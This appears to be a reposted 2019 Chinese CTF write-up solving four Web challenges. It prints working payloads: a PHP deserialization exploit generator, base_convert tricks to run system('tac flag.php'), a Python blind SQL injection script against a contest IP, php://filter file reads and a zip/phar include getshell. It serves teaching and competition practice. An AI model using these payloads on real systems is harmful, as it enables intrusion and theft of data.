71

第12届全国大学生信息安全竞赛Web题解

 5 years ago
source link: https://mochazz.github.io/2019/04/22/第12届全国大学生信息安全竞赛Web题解/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

根据 html注释 结合 php伪协议 ,可以读取出 index.phphint.php 的源代码。

http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=hint.php

index.php中会反序列化 $_GET[“payload”] ,且 parse_url 函数处理后不能包含 flag 字符串,用 /// 即可绕过 parse_url 函数,具体可参考 http://www.am0s.com/functions/406.html

mABrUz6.png!web

hint.php中的对象在反序列化的时候,会先调用 __wakeup 魔术方法,其会把对象的所有属性置 null ,猜测考察的知识点是绕过 PHP反序列化 的一个 bug ,具体参考: https://mochazz.github.io/2018/12/30/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96bug/

fUr2air.png!web

最后获取 flag 的地方,需要 $this->token === $this->token_flag ,而 $this->token_flag 在每次调用 getFlag 函数都会重新生成,这时候我们便可以用引用变量来解决这个问题。最终 payload 如下:

<?php  
class Handle{ 
    private $handle;  
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token = &$this->token_flag;
    }
    
    public function getFlag(){
        // $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}

$flag = new Flag('flag.php');
$handle = new Handle($flag);

echo urlencode(str_replace('O:6:"Handle":1', 'O:6:"Handle":10', serialize($handle)));
?>

最后访问 http://xxx///index.php?file=hint.php&payload=上面生成的payload 即可。

aYriE3B.png!web

最后贴一个PHP反序列化标识符含义:

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

https://blog.csdn.net/heiyeshuwu/article/details/748935

love_math

calc.php源码如下:

222Ibaa.png!web

可以看到 $content 会经过黑白名单校验且长度不能大于等于80,通过校验的 $content 最终会在 eval 函数中执行。看到这个,就想起了之前遇到的无字母 webshell 的题目。而这里只能用 $whitelist 中的函数。在查阅 base_convert 函数时,发现其可以进行2~36进制之间的转换,超过9的部分用字母a-z表示,即可表示的字符范围是:0-9a-z。,下面我们就可以构造最简单的 phpinfo : base_convert(55490343972,10,36)()

➜  Desktop php -a

php > echo base_convert('phpinfo',36,10);
55490343972

nmueIja.png!web

执行 system(‘ls’) :base_convert(1751504350,10,36)(base_convert(784,10,36))

➜  Desktop php -a

php > echo base_convert('system',36,10);
1751504350
php > echo base_convert('ls',36,10);
784
php > echo strlen('base_convert(1751504350,10,36)(base_convert(784,10,36))');
55

JRfU7vv.png!web

由于不能引入0-9a-z以外的字符,所以这里又通过构造 hex2bin 来执行命令。

➜  Desktop php -a

php > echo base_convert('exec',36,10);
696468
php > echo base_convert('hex2bin',36,10);
37907361743
php > echo hexdec(bin2hex('ls *'));
1819484202
php > echo strlen('base_convert(696468,10,36)(base_convert(37907361743,10,36)(dechex(1819484202)))');
79

J3UJjaR.png!web

但是用 exec 有个问题,就是只会显示返回结果的最后一行,这样就没办法看到 flag ,强行构造就超出80字符的限制了。后来又想到之前做的40字符限制的题目,想着应该要通过其他参数引入的方式,打破字符长度限制,于是开始构造 $_GET

➜  Desktop php -a

php > echo base_convert('hex2bin',36,10);
37907361743
php > echo hexdec(bin2hex('_GET'));
1598506324

payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})π=system&abs=tac flag.php
相当于:
$pi=_GET;($_GET[pi])($_GET[abs])

我们将要执行的函数和参数通过其他参数引入,这里变量名和函数名必须在白名单中。

2mYBzu6.png!web

这里有用到一个trick,就是使用 {} 来代替 [] 进行数组索引,这个其实在PHP手册中有提到,具体参看这个用例的Note: https://www.php.net/manual/en/language.types.array.php#language.types.array.syntax.accessing 。另外PHP5和7的一些差别,可以参看一下手册: https://www.php.net/manual/zh/migration70.php

全宇宙最简单的SQL

WAF会将某些字符替换成 QwQ ,经过测试,发现过滤了 |、or、sleep、if、benchmark、case 等字符。

返回信息有两种:

  • SQL语法正确的话,如果账号密码不对,会显示 登陆失败 。例如: username=admin&password=admin
  • SQL语法不正确的话,会显示 数据库操作失败 。例如: username=admin'&password=admin

那么我们可以利用逻辑运算符和溢出报错来进行注入,例如这里我们用 pow(9999,100) ,这个表达式的值在 MYSQL 中已经超出 double 范围,会溢出。如下图,当我们盲注语句结果为真时,就会执行到溢出语句,返回结果为 数据库操作失败 ;当我们盲注语句结果为假时,由于 and短路运算 ,根本不会执行到溢出语句,所以返回结果为 登陆失败

JFzYRjM.png!web

通过这种注入方式,我们可以得到以下信息:

  • mysql版本:5.5.62
  • 库名:ctf
  • 用户:ctt123

但是无法注出表名和列名,因为 or 被过滤了, information_schema 就不能用了。不过我们可以通过语句: admin’^1+and+substr((select+username+from+user+limit+1),1,1)=’a’+and+pow(9999,100)%23 ,判断出其存在 user 表和 username 列,再根据题目的界面显示的内容,猜测其可能还存在 password 列。但是 password 又包含 or 关键字,这时想起了以前看过的一篇文章: 如何在不知道MySQL列名的情况下注入出数据? 。最终可以用这个技巧注出 admin 用户的密码: f1ag@1s-at_/fll1llag_h3r3 ,注入脚本如下:

import requests,re

url = "http://39.97.167.120:52105"
admin_pass = ''
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$%&\'()*+,-./:;<=>?@[\\]^_`}{~#'
for i in range(1,100):
    for char in charset:
        if char == '#':
            # print('#')
            # print(admin_pass)
            exit()
        datas = {
            'username' : "admin'^1 and substr((select `2` from (select 1,2 union select * from user)a limit 1,1),%d,1)='%s' and pow(9999,100)#" % (i,char),
            'password' : 'admin'
        }
        r = requests.post(url=url,data = datas)
        r.encoding = r.apparent_encoding
        if '数据库操作失败' in r.text:
            # print(char)
            admin_pass += char
            print(admin_pass)
            break

JziaUba.png!web

但是仍然还是无法登录,看密码的含义,应该要读取 /fll1llag_h3r3 文件。但是用了 Mysql 中的读取函数,发现并不行,于是又想到我上面的脚本直接比较的是字符,可能存在大小写问题。后来用ASCII值来判断,跑出来的结果是: F1AG@1s-at_/fll1llag_h3r3 。再次登录,发现多了远程连接 Mysql 的功能。

iAJ77nZ.png!web

这个考点,一下子让我想起上周DDCTF的题目。通过伪造 Mysql 服务端,任意读取连接过来的客户端的本地文件,从而获取flag。这里我直接用github上写好的脚本,修改代码中的文件名即可。 https://github.com/allyshka/Rogue-MySql-Server

yYnaEfa.png!web

RefSpace

通过 php伪协议 可以获得部分源码,整理可得题目环境中的文件结构如下:

➜  html tree 
.
├── app
│   ├── flag.php
│   ├── index.php
│   └── Up10aD.php
├── backup.zip
├── flag.txt
├── index.php
├── robots.txt
└── upload

2 directories, 7 files

源码如下:

mqiaymJ.png!web

ymU3Yf3.png!web

可以看到 index.php 中存在任意文件包含,但是限制了文件名后缀只能是 .php ,而 app/Up10aD.php 文件中存在上传功能,刚好可以配合前面的文件包含进行 getshell 。具体可以参考: zip或phar协议包含文件 。getshell之后,只在服务器上发现了加密后的flag.txt。在 app/flag.php 开头添加上如下代码,访问时 $key 值随便填。

namespace interesting;
function sha1($var) { // 调用类的私有、保护方法
    $class = new \ReflectionClass('interesting\FlagSDK');
    $method = $class->getMethod('getHash');
    $method->setAccessible(true);
    $instance = $class->newInstance();
    return $method->invoke($instance);
}

其原理就是通过命名空间,定义一个同名函数 sha1 ,在代码调用时,会优先调用本命名空间中的同名函数。另外还有一个考点就是通过反射调用类的私有、保护方法,具体百度即可。绕过 sha1 的比较,我们就能拿到flag了, backup.zip/sdk开发文档.txt 中的 return “too{young-too-simple}” 只是个例子,其真正的语句类似 return openssl_decrypt(file_get_contents(‘flag路径’), ‘加密算法’, $key)


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK